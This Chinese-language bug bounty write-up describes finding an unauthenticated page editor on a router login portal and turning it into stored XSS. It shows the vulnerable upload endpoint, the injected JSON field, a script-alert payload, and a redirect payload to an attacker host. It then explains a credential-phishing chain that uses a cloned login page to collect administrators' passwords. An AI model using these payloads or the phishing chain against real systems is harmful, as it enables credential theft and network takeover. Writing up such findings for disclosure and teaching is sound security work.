我如何在一个公共漏洞赏金计划中发现了关键 XSS

86 阅读5分钟

官网:http://securitytech.cc/

我如何在一个公共漏洞赏金计划中发现了关键 XSS

介绍

*大家好,我又回来了,这次分享我在漏洞赏金旅程中发现的一个有趣漏洞。这次是在 Bugcrowd 的一个公共计划中发现的,但我不能公开域名,所以我将称它为* *REDACTED.com**。这个计划奖金很高,通常很难找到漏洞,但我发现了一个有趣的漏洞,我将在本文中分享。让我们开始吧…*_

侦察

阶段 1 — 寻找攻击面

我用来发现这个域名的唯一侦察方法是一个简单的 Google dork:

site:*.REDACTED.com -www

使用这个简单的 dork,我获取了大量子域名。但其中一个引起了我的注意,它看起来像一个 IP 地址,但点号被替换成了破折号 10-10-10-16.mobile.REDACTED.com

当我访问该域名时,它是一个路由器的登录门户,这个路由器似乎被公司内部使用。

登录页面:

我尝试了所有默认凭证,但都不成功,于是进入了第二阶段侦察。


阶段 2 — 客户端源码分析

我快速运行了 Javascript Bookmarklet,从客户端代码获取所有端点并写到页面上。它帮我抓取了当前子域的很多端点。

我测试了这些端点,很多返回 401 Forbidden 页面。但有一个端点返回 200 OK,并显示了一个有趣的页面:

/guest/preview.cgi 暴露了一个管理页面,允许我们修改任何页面内容,比如条款与条件页、登录页等。


阶段 3 — 发现有趣功能

它有一个名为 Edit mode 的切换按钮,开启后允许我们编辑选中页面的元素。可以修改文本、按钮、图片等内容。

为了测试功能,我尝试在条款与条件页面的“同意”按钮上添加 This was modified by 1-day。我不确定点击“保存”是否会生效,但当我点击后等待…

编辑内容被永久保存。

刷新页面后:

这说明我们可以在完全未认证状态下永久修改页面的任何内容。这本身就是一个严重的配置错误。但我不是那种报告无用漏洞的人…


利用

有了可以修改页面的能力,我很快想到我最不喜欢的漏洞类型——跨站脚本 (XSS)。


深入漏洞

保存编辑页面时,会向 /guest/portal_admin_upload.cgi 发送 POST 请求,请求体为 multipart/form-data,页面元素在 edit_page 字段中,格式为 JSON。

我捕获请求后发现,“同意”按钮对应的键 agree_button 会将内容直接传入页面。例如:

{"agree_button": "This is an Agree Button"}

我在 Burp Suite 中用一个简单的 XSS payload 更新请求:

{"agree_button": "
<script>
alert("PoC by 1-day");
</script>
"}

发送请求后,响应 200 OK 并显示“保存成功”。

刷新页面后:

XSS payload 被成功执行。

现在我们拥有了一个未认证的存储型 XSS 漏洞。


潜在账户劫持

方案 A

如果想将存储型 XSS 升级为账户劫持,通常第一步是获取用户 Cookie 并发送到攻击服务器。但这里不可能,因为 Cookie 有 HttpOnly 且 Path 限定在主页,所以无法抓取管理员 Cookie。

方案 A 失败。


方案 B(构造完美漏洞利用链)

由于我们有一个未认证的存储型 XSS,我们可以存储 payload,使访问者被重定向到攻击者服务器,同时保持完全隐蔽。

我使用 HTTrack 克隆登录页面,将所有 JS、HTML、CSS、CGI 文件保存在本地,保持完整目录结构。

然后修改 cgi-bin/index.html,让凭证发送到我的服务器,同时在 3 秒后重定向回未被 XSS 感染的页面 preview.cgi?portal_id=2,保持正常状态。

发送 XSS payload:

<script>
window.location.href="http://myserver.duckdns.org:4444"
</script>

访问者被悄悄重定向到克隆的登录页面,输入凭证后页面显示“登录成功”,再重定向回真实页面。


完整链条

  1. 受害者访问 https://10–10–10–16.mobile.redacted.com/guest/preview.cgi
    1. 被悄悄重定向到攻击服务器,展示克隆的登录页面(URL 看起来正常)
    1. 受害者输入凭证并登录
    1. 页面显示“登录成功”,3 秒后重定向到未感染页面 preview.cgi?portal_id=2
    1. 凭证被成功记录在攻击服务器上

成功演示了未认证存储型 XSS 的实际影响。


影响

通过这种链式利用,攻击者可以创建一个非常可信的路由器登录页面,管理员可能在不知情的情况下访问,从而导致账户接管。

如果攻击者获得内部路由器管理员面板访问权限,可以修改 DNS/代理为恶意服务器,从而窃取网络内所有设备敏感信息,并进一步升级至严重影响。


结论

我本可以像大多数猎人一样直接报告 XSS…但我不是那种人。公司不需要屏幕弹出“被黑”,他们需要真正可能造成损失的安全问题。最终,漏洞利用的呈现方式才最重要。

以上就是我发现这个有趣漏洞的详细过程,希望大家喜欢这篇文章。

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx